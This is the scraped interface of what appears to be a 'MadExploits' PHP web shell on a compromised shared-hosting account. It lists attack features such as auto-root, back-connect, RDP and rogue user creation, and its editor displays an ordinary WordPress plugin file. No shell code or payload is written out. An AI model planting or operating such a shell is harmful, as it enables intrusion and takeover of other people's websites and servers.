Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.142.124.237
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
goldenreviesws.com /
wp-content /
plugins /
copy-delete-posts /
analyst /
src /
Notices /
[ HOME SHELL ]
Name
Size
Permission
Action
Notice.php
1.54
KB
-rw-r--r--
NoticeFactory.php
2.14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NoticeFactory.php
<?php namespace Analyst\Notices; use Analyst\Core\AbstractFactory; class NoticeFactory extends AbstractFactory { private static $instance; CONST OPTIONS_KEY = 'analyst_notices'; /** * Application notifications * * @var array */ protected $notices = []; /** * Read factory from options or make fresh instance * * @return NoticeFactory */ public static function instance() { if (!static::$instance) { $raw = get_option(self::OPTIONS_KEY); // In case object is already unserialized // and instance of AccountDataFactory we // return it, in other case deal with // serialized string data if ($raw instanceof self) { static::$instance = $raw; } else { static::$instance = is_string($raw) ? static::unserialize($raw) : new self(); } } return static::$instance; } /** * Sync this object data with cache */ public function sync() { update_option(self::OPTIONS_KEY, serialize($this)); } /** * Sync this instance data with cache */ public static function syncData() { static::instance()->sync(); } /** * @return array */ public function getNotices() { return $this->notices; } /** * Filter out notices for certain account * * @param $accountId * @return array */ public function getNoticesForAccount($accountId) { return array_filter($this->notices, function (Notice $notice) use ($accountId) { return $notice->getAccountId() === $accountId; }); } /** * Add new notice * * @param $notice * * @return $this */ public function addNotice($notice) { array_push($this->notices, $notice); $this->sync(); return $this; } /** * Find notice by id * * @param $id * @return Notice|null */ public function find($id) { $notices = array_filter($this->notices, function (Notice $notice) use ($id) { return $notice->getId() === $id; }); return array_pop($notices); } /** * Remove notice by it's id * * @param $id */ public function remove($id) { // Get key of notice to remove $key = array_search( $this->find($id), $this->notices ); // Unset notice with key unset($this->notices[$key]); $this->sync(); } }
Close